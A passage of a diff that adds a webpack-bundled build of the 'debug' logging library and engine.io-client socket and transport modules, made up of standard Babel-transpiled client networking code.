+ createDebug.enable = enable; + createDebug.enabled = enabled; + createDebug.humanize = __webpack_require__(/*! ms */ "./node_modules/ms/index.js"); + createDebug.destroy = destroy; + Object.keys(env).forEach(function (key) { + createDebug[key] = env[key]; + }); + /** + * The currently active debug mode names, and names to skip. + */ + + createDebug.names = []; + createDebug.skips = []; + /** + * Map of special "%n" handling functions, for the debug "format" argument. + * + * Valid key names are a single, lower or upper-case letter, i.e. "n" and "N". + */ + + createDebug.formatters = {}; + /** + * Selects a color for a debug namespace + * @param {String} namespace The namespace string for the for the debug instance to be colored + * @return {Number|String} An ANSI color code for the given namespace + * @api private + */ + + function selectColor(namespace) { + var hash = 0; + + for (var i = 0; i < namespace.length; i++) { + hash = (hash << 5) - hash + namespace.charCodeAt(i); + hash |= 0; // Convert to 32bit integer + } + + return createDebug.colors[Math.abs(hash) % createDebug.colors.length]; + } + + createDebug.selectColor = selectColor; + /** + * Create a debugger with the given `namespace`. + * + * @param {String} namespace + * @return {Function} + * @api public + */ + + function createDebug(namespace) { + var prevTime; + var enableOverride = null; + + function debug() { + for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { + args[_key] = arguments[_key]; + } + + // Disabled? + if (!debug.enabled) { + return; + } + + var self = debug; // Set `diff` timestamp + + var curr = Number(new Date()); + var ms = curr - (prevTime || curr); + self.diff = ms; + self.prev = prevTime; + self.curr = curr; + prevTime = curr; + args[0] = createDebug.coerce(args[0]); + + if (typeof args[0] !== 'string') { + // Anything else let's inspect with %O + args.unshift('%O'); + } // Apply any `formatters` transformations + + + var index = 0; + args[0] = args[0].replace(/%([a-zA-Z%])/g, function (match, format) { + // If we encounter an escaped % then don't increase the array index + if (match === '%%') { + return '%'; + } + + index++; + var formatter = createDebug.formatters[format]; + + if (typeof formatter === 'function') { + var val = args[index]; + match = formatter.call(self, val); // Now we need to remove `args[index]` since it's inlined in the `format` + + args.splice(index, 1); + index--; + } + + return match; + }); // Apply env-specific formatting (colors, etc.) + + createDebug.formatArgs.call(self, args); + var logFn = self.log || createDebug.log; + logFn.apply(self, args); + } + + debug.namespace = namespace; + debug.useColors = createDebug.useColors(); + debug.color = createDebug.selectColor(namespace); + debug.extend = extend; + debug.destroy = createDebug.destroy; // XXX Temporary. Will be removed in the next major release. + + Object.defineProperty(debug, 'enabled', { + enumerable: true, + configurable: false, + get: function get() { + return enableOverride === null ? createDebug.enabled(namespace) : enableOverride; + }, + set: function set(v) { + enableOverride = v; + } + }); // Env-specific initialization logic for debug instances + + if (typeof createDebug.init === 'function') { + createDebug.init(debug); + } + + return debug; + } + + function extend(namespace, delimiter) { + var newDebug = createDebug(this.namespace + (typeof delimiter === 'undefined' ? ':' : delimiter) + namespace); + newDebug.log = this.log; + return newDebug; + } + /** + * Enables a debug mode by namespaces. This can include modes + * separated by a colon and wildcards. + * + * @param {String} namespaces + * @api public + */ + + + function enable(namespaces) { + createDebug.save(namespaces); + createDebug.names = []; + createDebug.skips = []; + var i; + var split = (typeof namespaces === 'string' ? namespaces : '').split(/[\s,]+/); + var len = split.length; + + for (i = 0; i < len; i++) { + if (!split[i]) { + // ignore empty strings + continue; + } + + namespaces = split[i].replace(/\*/g, '.*?'); + + if (namespaces[0] === '-') { + createDebug.skips.push(new RegExp('^' + namespaces.substr(1) + '$')); + } else { + createDebug.names.push(new RegExp('^' + namespaces + '$')); + } + } + } + /** + * Disable debug output. + * + * @return {String} namespaces + * @api public + */ + + + function disable() { + var namespaces = [].concat(_toConsumableArray(createDebug.names.map(toNamespace)), _toConsumableArray(createDebug.skips.map(toNamespace).map(function (namespace) { + return '-' + namespace; + }))).join(','); + createDebug.enable(''); + return namespaces; + } + /** + * Returns true if the given mode name is enabled, false otherwise. + * + * @param {String} name + * @return {Boolean} + * @api public + */ + + + function enabled(name) { + if (name[name.length - 1] === '*') { + return true; + } + + var i; + var len; + + for (i = 0, len = createDebug.skips.length; i < len; i++) { + if (createDebug.skips[i].test(name)) { + return false; + } + } + + for (i = 0, len = createDebug.names.length; i < len; i++) { + if (createDebug.names[i].test(name)) { + return true; + } + } + + return false; + } + /** + * Convert regexp to namespace + * + * @param {RegExp} regxep + * @return {String} namespace + * @api private + */ + + + function toNamespace(regexp) { + return regexp.toString().substring(2, regexp.toString().length - 2).replace(/\.\*\?$/, '*'); + } + /** + * Coerce `val`. + * + * @param {Mixed} val + * @return {Mixed} + * @api private + */ + + + function coerce(val) { + if (val instanceof Error) { + return val.stack || val.message; + } + + return val; + } + /** + * XXX DO NOT USE. This is a temporary stub function. + * XXX It WILL be removed in the next major release. + */ + + + function destroy() { + console.warn('Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.'); + } + + createDebug.enable(createDebug.load()); + return createDebug; + } + + module.exports = setup; + + /***/ }), + + /***/ "./node_modules/engine.io-client/lib/globalThis.browser.js": + /*!*****************************************************************!*\ + !*** ./node_modules/engine.io-client/lib/globalThis.browser.js ***! + \*****************************************************************/ + /*! no static exports found */ + /***/ (function(module, exports) { + + module.exports = function () { + if (typeof self !== "undefined") { + return self; + } else if (typeof window !== "undefined") { + return window; + } else { + return Function("return this")(); + } + }(); + + /***/ }), + + /***/ "./node_modules/engine.io-client/lib/index.js": + /*!****************************************************!*\ + !*** ./node_modules/engine.io-client/lib/index.js ***! + \****************************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + var Socket = __webpack_require__(/*! ./socket */ "./node_modules/engine.io-client/lib/socket.js"); + + module.exports = function (uri, opts) { + return new Socket(uri, opts); + }; + /** + * Expose deps for legacy compatibility + * and standalone browser access. + */ + + + module.exports.Socket = Socket; + module.exports.protocol = Socket.protocol; // this is an int + + module.exports.Transport = __webpack_require__(/*! ./transport */ "./node_modules/engine.io-client/lib/transport.js"); + module.exports.transports = __webpack_require__(/*! ./transports/index */ "./node_modules/engine.io-client/lib/transports/index.js"); + module.exports.parser = __webpack_require__(/*! engine.io-parser */ "./node_modules/engine.io-parser/lib/index.js"); + + /***/ }), + + /***/ "./node_modules/engine.io-client/lib/socket.js": + /*!*****************************************************!*\ + !*** ./node_modules/engine.io-client/lib/socket.js ***! + \*****************************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + function _extends() { _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; }; return _extends.apply(this, arguments); } + + function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } + + function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } + + function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } + + function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } + + function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } + + function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } + + function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } + + function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } + + var transports = __webpack_require__(/*! ./transports/index */ "./node_modules/engine.io-client/lib/transports/index.js"); + + var Emitter = __webpack_require__(/*! component-emitter */ "./node_modules/component-emitter/index.js"); + + var debug = __webpack_require__(/*! debug */ "./node_modules/debug/src/browser.js")("engine.io-client:socket"); + + var parser = __webpack_require__(/*! engine.io-parser */ "./node_modules/engine.io-parser/lib/index.js"); + + var parseuri = __webpack_require__(/*! parseuri */ "./node_modules/parseuri/index.js"); + + var parseqs = __webpack_require__(/*! parseqs */ "./node_modules/parseqs/index.js"); + + var Socket = /*#__PURE__*/function (_Emitter) { + _inherits(Socket, _Emitter); + + var _super = _createSuper(Socket); + + /** + * Socket constructor. + * + * @param {String|Object} uri or options + * @param {Object} options + * @api public + */ + function Socket(uri) { + var _this; + + var opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + + _classCallCheck(this, Socket); + + _this = _super.call(this); + + if (uri && "object" === _typeof(uri)) { + opts = uri; + uri = null; + } + + if (uri) { + uri = parseuri(uri); + opts.hostname = uri.host; + opts.secure = uri.protocol === "https" || uri.protocol === "wss"; + opts.port = uri.port; + if (uri.query) opts.query = uri.query; + } else if (opts.host) { + opts.hostname = parseuri(opts.host).host; + } + + _this.secure = null != opts.secure ? opts.secure : typeof location !== "undefined" && "https:" === location.protocol; + + if (opts.hostname && !opts.port) { + // if no port is specified manually, use the protocol default + opts.port = _this.secure ? "443" : "80"; + } + + _this.hostname = opts.hostname || (typeof location !== "undefined" ? location.hostname : "localhost"); + _this.port = opts.port || (typeof location !== "undefined" && location.port ? location.port : _this.secure ? 443 : 80); + _this.transports = opts.transports || ["polling", "websocket"]; + _this.readyState = ""; + _this.writeBuffer = []; + _this.prevBufferLen = 0; + _this.opts = _extends({ + path: "/engine.io", + agent: false, + withCredentials: false, + upgrade: true, + jsonp: true, + timestampParam: "t", + rememberUpgrade: false, + rejectUnauthorized: true, + perMessageDeflate: { + threshold: 1024 + }, + transportOptions: {} + }, opts); + _this.opts.path = _this.opts.path.replace(/\/$/, "") + "/"; + + if (typeof _this.opts.query === "string") { + _this.opts.query = parseqs.decode(_this.opts.query); + } // set on handshake + + + _this.id = null; + _this.upgrades = null; + _this.pingInterval = null; + _this.pingTimeout = null; // set on heartbeat + + _this.pingTimeoutTimer = null; + + if (typeof addEventListener === "function") { + addEventListener("beforeunload", function () { + if (_this.transport) { + // silently close the transport + _this.transport.removeAllListeners(); + + _this.transport.close(); + } + }, false); + + if (_this.hostname !== "localhost") { + _this.offlineEventListener = function () { + _this.onClose("transport close"); + }; + + addEventListener("offline", _this.offlineEventListener, false); + } + } + + _this.open(); + + return _this; + } + /** + * Creates transport of the given type. + * + * @param {String} transport name + * @return {Transport} + * @api private + */ + + + _createClass(Socket, [{ + key: "createTransport", + value: function createTransport(name) { + debug('creating transport "%s"', name); + var query = clone(this.opts.query); // append engine.io protocol identifier + + query.EIO = parser.protocol; // transport name + + query.transport = name; // session id if we already have one + + if (this.id) query.sid = this.id; + + var opts = _extends({}, this.opts.transportOptions[name], this.opts, { + query: query, + socket: this, + hostname: this.hostname, + secure: this.secure, + port: this.port + }); + + debug("options: %j", opts); + return new transports[name](opts); + } + /** + * Initializes transport to use and starts probe. + * + * @api private + */ + + }, { + key: "open", + value: function open() { + var transport; + + if (this.opts.rememberUpgrade && Socket.priorWebsocketSuccess && this.transports.indexOf("websocket") !== -1) { + transport = "websocket"; + } else if (0 === this.transports.length) { + // Emit error on next tick so it can be listened to + var self = this; + setTimeout(function () { + self.emit("error", "No transports available"); + }, 0); + return; + } else { + transport = this.transports[0]; + } + + this.readyState = "opening"; // Retry with the next transport if the transport is disabled (jsonp: false) + + try { + transport = this.createTransport(transport); + } catch (e) { + debug("error while creating transport: %s", e); + this.transports.shift(); + this.open(); + return; + } + + transport.open(); + this.setTransport(transport); + } + /** + * Sets the current transport. Disables the existing one (if any). + * + * @api private + */ + + }, { + key: "setTransport", + value: function setTransport(transport) { + debug("setting transport %s", transport.name); + var self = this; + + if (this.transport) { + debug("clearing existing transport %s", this.transport.name); + this.transport.removeAllListeners(); + } // set up transport + + + this.transport = transport; // set up transport listeners + + transport.on("drain", function () { + self.onDrain(); + }).on("packet", function (packet) { + self.onPacket(packet); + }).on("error", function (e) { + self.onError(e); + }).on("close", function () { + self.onClose("transport close"); + }); + } + /** + * Probes a transport. + * + * @param {String} transport name + * @api private + */ + + }, { + key: "probe", + value: function probe(name) { + debug('probing transport "%s"', name); + var transport = this.createTransport(name, { + probe: 1 + }); + var failed = false; + var self = this; + Socket.priorWebsocketSuccess = false; + + function onTransportOpen() { + if (self.onlyBinaryUpgrades) { + var upgradeLosesBinary = !this.supportsBinary && self.transport.supportsBinary; + failed = failed || upgradeLosesBinary; + } + + if (failed) return; + debug('probe transport "%s" opened', name); + transport.send([{ + type: "ping", + data: "probe" + }]); + transport.once("packet", function (msg) { + if (failed) return; + + if ("pong" === msg.type && "probe" === msg.data) { + debug('probe transport "%s" pong', name); + self.upgrading = true; + self.emit("upgrading", transport); + if (!transport) return; + Socket.priorWebsocketSuccess = "websocket" === transport.name; + debug('pausing current transport "%s"', self.transport.name); + self.transport.pause(function () { + if (failed) return; + if ("closed" === self.readyState) return; + debug("changing transport and sending upgrade packet"); + cleanup(); + self.setTransport(transport); + transport.send([{ + type: "upgrade" + }]); + self.emit("upgrade", transport); + transport = null; + self.upgrading = false; + self.flush(); + }); + } else { + debug('probe transport "%s" failed', name); + var err = new Error("probe error"); + err.transport = transport.name; + self.emit("upgradeError", err); + } + }); + } + + function freezeTransport() { + if (failed) return; // Any callback called by transport should be ignored since now + + failed = true; + cleanup(); + transport.close(); + transport = null; + } // Handle any error that happens while probing + + + function onerror(err) { + var error = new Error("probe error: " + err); + error.transport = transport.name; + freezeTransport(); + debug('probe transport "%s" failed because of error: %s', name, err); + self.emit("upgradeError", error); + } + + function onTransportClose() { + onerror("transport closed"); + } // When the socket is closed while we're probing + + + function onclose() { + onerror("socket closed"); + } // When the socket is upgraded while we're probing + + + function onupgrade(to) { + if (transport && to.name !== transport.name) { + debug('"%s" works - aborting "%s"', to.name, transport.name); + freezeTransport(); + } + } // Remove all listeners on the transport and on self + + + function cleanup() { + transport.removeListener("open", onTransportOpen); + transport.removeListener("error", onerror); + transport.removeListener("close", onTransportClose); + self.removeListener("close", onclose); + self.removeListener("upgrading", onupgrade); + } + + transport.once("open", onTransportOpen); + transport.once("error", onerror); + transport.once("close", onTransportClose); + this.once("close", onclose); + this.once("upgrading", onupgrade); + transport.open(); + } + /** + * Called when connection is deemed open. + * + * @api public + */ + + }, { + key: "onOpen", + value: function onOpen() { + debug("socket open"); + this.readyState = "open"; + Socket.priorWebsocketSuccess = "websocket" === this.transport.name; + this.emit("open"); + this.flush(); // we check for `readyState` in case an `open` + // listener already closed the socket + + if ("open" === this.readyState && this.opts.upgrade && this.transport.pause) { + debug("starting upgrade probes"); + var i = 0; + var l = this.upgrades.length; + + for (; i < l; i++) { + this.probe(this.upgrades[i]); + } + } + } + /** + * Handles a packet. + * + * @api private + */ + + }, { + key: "onPacket", + value: function onPacket(packet) { + if ("opening" === this.readyState || "open" === this.readyState || "closing" === this.readyState) { + debug('socket receive: type "%s", data "%s"', packet.type, packet.data); + this.emit("packet", packet); // Socket is live - any packet counts + + this.emit("heartbeat"); + + switch (packet.type) { + case "open": + this.onHandshake(JSON.parse(packet.data)); + break; + + case "ping": + this.resetPingTimeout(); + this.sendPacket("pong"); + this.emit("pong"); + break; + + case "error": + var err = new Error("server error"); + err.code = packet.data; + this.onError(err); + break; + + case "message": + this.emit("data", packet.data); + this.emit("message", packet.data); + break; + } + } else { + debug('packet received with socket readyState "%s"', this.readyState); + } + } + /** + * Called upon handshake completion. + * + * @param {Object} handshake obj + * @api private + */ + + }, { + key: "onHandshake", + value: function onHandshake(data) { + this.emit("handshake", data); + this.id = data.sid; + this.transport.query.sid = data.sid; + this.upgrades = this.filterUpgrades(data.upgrades); + this.pingInterval = data.pingInterval; + this.pingTimeout = data.pingTimeout; + this.onOpen(); // In case open handler closes socket + + if ("closed" === this.readyState) return; + this.resetPingTimeout(); + } + /** + * Sets and resets ping timeout timer based on server pings. + * + * @api private + */ + + }, { + key: "resetPingTimeout", + value: function resetPingTimeout() { + var _this2 = this; + + clearTimeout(this.pingTimeoutTimer); + this.pingTimeoutTimer = setTimeout(function () { + _this2.onClose("ping timeout"); + }, this.pingInterval + this.pingTimeout); + + if (this.opts.autoUnref) { + this.pingTimeoutTimer.unref(); + } + } + /** + * Called on `drain` event + * + * @api private + */ + + }, { + key: "onDrain", + value: function onDrain() { + this.writeBuffer.splice(0, this.prevBufferLen); // setting prevBufferLen = 0 is very important + // for example, when upgrading, upgrade packet is sent over, + // and a nonzero prevBufferLen could cause problems on `drain` + + this.prevBufferLen = 0; + + if (0 === this.writeBuffer.length) { + this.emit("drain"); + } else { + this.flush(); + } + } + /** + * Flush write buffers. + * + * @api private + */ + + }, { + key: "flush", + value: function flush() { + if ("closed" !== this.readyState && this.transport.writable && !this.upgrading && this.writeBuffer.length) { + debug("flushing %d packets in socket", this.writeBuffer.length); + this.transport.send(this.writeBuffer); // keep track of current length of writeBuffer + // splice writeBuffer and callbackBuffer on `drain` + + this.prevBufferLen = this.writeBuffer.length; + this.emit("flush"); + } + } + /** + * Sends a message. + * + * @param {String} message. + * @param {Function} callback function. + * @param {Object} options. + * @return {Socket} for chaining. + * @api public + */ + + }, { + key: "write", + value: function write(msg, options, fn) { + this.sendPacket("message", msg, options, fn); + return this; + } + }, { + key: "send", + value: function send(msg, options, fn) { + this.sendPacket("message", msg, options, fn); + return this; + } + /** + * Sends a packet. + * + * @param {String} packet type. + * @param {String} data. + * @param {Object} options. + * @param {Function} callback function. + * @api private + */ + + }, { + key: "sendPacket", + value: function sendPacket(type, data, options, fn) { + if ("function" === typeof data) { + fn = data; + data = undefined; + } + + if ("function" === typeof options) { + fn = options; + options = null; + } + + if ("closing" === this.readyState || "closed" === this.readyState) { + return; + } + + options = options || {}; + options.compress = false !== options.compress; + var packet = { + type: type, + data: data, + options: options + }; + this.emit("packetCreate", packet); + this.writeBuffer.push(packet); + if (fn) this.once("flush", fn); + this.flush(); + } + /** + * Closes the connection. + * + * @api private + */ + + }, { + key: "close", + value: function close() { + var self = this; + + if ("opening" === this.readyState || "open" === this.readyState) { + this.readyState = "closing"; + + if (this.writeBuffer.length) { + this.once("drain", function () { + if (this.upgrading) { + waitForUpgrade(); + } else { + close(); + } + }); + } else if (this.upgrading) { + waitForUpgrade(); + } else { + close(); + } + } + + function close() { + self.onClose("forced close"); + debug("socket closing - telling transport to close"); + self.transport.close(); + } + + function cleanupAndClose() { + self.removeListener("upgrade", cleanupAndClose); + self.removeListener("upgradeError", cleanupAndClose); + close(); + } + + function waitForUpgrade() { + // wait for upgrade to finish since we can't send packets while pausing a transport + self.once("upgrade", cleanupAndClose); + self.once("upgradeError", cleanupAndClose); + } + + return this; + } + /** + * Called upon transport error + * + * @api private + */ + + }, { + key: "onError", + value: function onError(err) { + debug("socket error %j", err); + Socket.priorWebsocketSuccess = false; + this.emit("error", err); + this.onClose("transport error", err); + } + /** + * Called upon transport close. + * + * @api private + */ + + }, { + key: "onClose", + value: function onClose(reason, desc) { + if ("opening" === this.readyState || "open" === this.readyState || "closing" === this.readyState) { + debug('socket close with reason: "%s"', reason); + var self = this; // clear timers + + clearTimeout(this.pingIntervalTimer); + clearTimeout(this.pingTimeoutTimer); // stop event from firing again for transport + + this.transport.removeAllListeners("close"); // ensure transport won't stay open + + this.transport.close(); // ignore further transport communication + + this.transport.removeAllListeners(); + + if (typeof removeEventListener === "function") { + removeEventListener("offline", this.offlineEventListener, false); + } // set ready state + + + this.readyState = "closed"; // clear session id + + this.id = null; // emit close event + + this.emit("close", reason, desc); // clean buffers after, so users can still + // grab the buffers on `close` event + + self.writeBuffer = []; + self.prevBufferLen = 0; + } + } + /** + * Filters upgrades, returning only those matching client transports. + * + * @param {Array} server upgrades + * @api private + * + */ + + }, { + key: "filterUpgrades", + value: function filterUpgrades(upgrades) { + var filteredUpgrades = []; + var i = 0; + var j = upgrades.length; + + for (; i < j; i++) { + if (~this.transports.indexOf(upgrades[i])) filteredUpgrades.push(upgrades[i]); + } + + return filteredUpgrades; + } + }]); + + return Socket; + }(Emitter); + + Socket.priorWebsocketSuccess = false; + /** + * Protocol version. + * + * @api public + */ + + Socket.protocol = parser.protocol; // this is an int + + function clone(obj) { + var o = {}; + + for (var i in obj) { + if (obj.hasOwnProperty(i)) { + o[i] = obj[i]; + } + } + + return o; + } + + module.exports = Socket; + + /***/ }), + + /***/ "./node_modules/engine.io-client/lib/transport.js": + /*!********************************************************!*\ + !*** ./node_modules/engine.io-client/lib/transport.js ***! + \********************************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } + + function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } + + function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } + + function _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; } + + function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } + + function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } + + function _isNativeReflectConstruct() { if (typeof Reflect === "undefined" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === "function") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } } + + function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } + + var parser = __webpack_require__(/*! engine.io-parser */ "./node_modules/engine.io-parser/lib/index.js"); + + var Emitter = __webpack_require__(/*! component-emitter */ "./node_modules/component-emitter/index.js"); + + var debug = __webpack_require__(/*! debug */ "./node_modules/debug/src/browser.js")("engine.io-client:transport"); + + var Transport = /*#__PURE__*/function (_Emitter) { + _inherits(Transport, _Emitter); + + var _super = _createSuper(Transport); + + /** + * Transport abstract constructor. + * + * @param {Object} options. + * @api private + */ + function Transport(opts) { + var _this; + + _classCallCheck(this, Transport); + + _this = _super.call(this); + _this.opts = opts; + _this.query = opts.query; + _this.readyState = ""; + _this.socket = opts.socket; + return _this; + } + /** + * Emits an error. + * + * @param {String} str + * @return {Transport} for chaining + * @api public + */ + + + _createClass(Transport, [{ + key: "onError", + value: function onError(msg, desc) { + var err = new Error(msg); + err.type = "TransportError"; + err.description = desc; + this.emit("error", err); + return this; + } + /** + * Opens the transport. + * + * @api public + */ + + }, { + key: "open", + value: function open() { + if ("closed" === this.readyState || "" === this.readyState) { + this.readyState = "opening"; + this.doOpen(); + } + + return this; + } + /** + * Closes the transport. + * + * @api private + */ + + }, { + key: "close", + value: function close() { + if ("opening" === this.readyState || "open" === this.readyState) { + this.doClose(); + this.onClose(); + } + + return this; + } + /** + * Sends multiple packets. + * + * @param {Array} packets + * @api private + */ + + }, { + key: "send", + value: function send(packets) { + if ("open" === this.readyState) { + this.write(packets); + } else { + // this might happen if the transport was silently closed in the beforeunload event handler + debug("transport is not open, discarding packets"); + } + } + /** + * Called upon open + * + * @api private + */ + + }, { + key: "onOpen", + value: function onOpen() { + this.readyState = "open"; + this.writable = true; + this.emit("open"); + } + /** + * Called with data. + * + * @param {String} data + * @api private + */ + + }, { + key: "onData", + value: function onData(data) { + var packet = parser.decodePacket(data, this.socket.binaryType); + this.onPacket(packet); + } + /** + * Called with a decoded packet. + */ + + }, { + key: "onPacket", + value: function onPacket(packet) { + this.emit("packet", packet); + } + /** + * Called upon close. + * + * @api private + */ + + }, { + key: "onClose", + value: function onClose() { + this.readyState = "closed"; + this.emit("close"); + } + }]); + + return Transport; + }(Emitter); + + module.exports = Transport; + + /***/ }), + + /***/ "./node_modules/engine.io-client/lib/transports/index.js": + /*!***************************************************************!*\ + !*** ./node_modules/engine.io-client/lib/transports/index.js ***! + \***************************************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + var XMLHttpRequest = __webpack_require__(/*! ../../contrib/xmlhttprequest-ssl/XMLHttpRequest */ "./node_modules/engine.io-client/lib/xmlhttprequest.js"); + + var XHR = __webpack_require__(/*! ./polling-xhr */ "./node_modules/engine.io-client/lib/transports/polling-xhr.js"); + + var JSONP = __webpack_require__(/*! ./polling-jsonp */ "./node_modules/engine.io-client/lib/transports/polling-jsonp.js"); + + var websocket = __webpack_require__(/*! ./websocket */ "./node_modules/engine.io-client/lib/transports/websocket.js"); + + exports.polling = polling; + exports.websocket = websocket; + /** + * Polling transport polymorphic constructor. + * Decides on xhr vs jsonp based on feature detection. + * + * @api private + */ + + function polling(opts) { + var xhr; + var xd = false; + var xs = false; + var jsonp = false !== opts.jsonp; + + if (typeof location !== "undefined") { + var isSSL = "https:" === location.protocol; + var port = location.port; // some user agents have empty `location.port` + + if (!port) { + port = isSSL ? 443 : 80; + } + + xd = opts.hostname !== location.hostname || port !== opts.port; + xs = opts.secure !== isSSL; + } + + opts.xdomain = xd; + opts.xscheme = xs; + xhr = new XMLHttpRequest(opts); + + if ("open" in xhr && !opts.forceJSONP) { + return new XHR(opts); + } else { + if (!jsonp) throw new Error("JSONP disabled"); + return new JSONP(opts); + } + } + + /***/ }), + + /***/ "./node_modules/engine.io-client/lib/transports/polling-jsonp.js": + /*!***********************************************************************!*\ + !*** ./node_modules/engine.io-client/lib/transports/polling-jsonp.js ***! + \***********************************************************************/ + /*! no static exports found */ + /***/ (function(module, exports, __webpack_require__) { + + function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + + function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } + + function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } + + function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } + + function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } + + function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } + + function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } + + function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } + + function _createSuper(Derived) { var 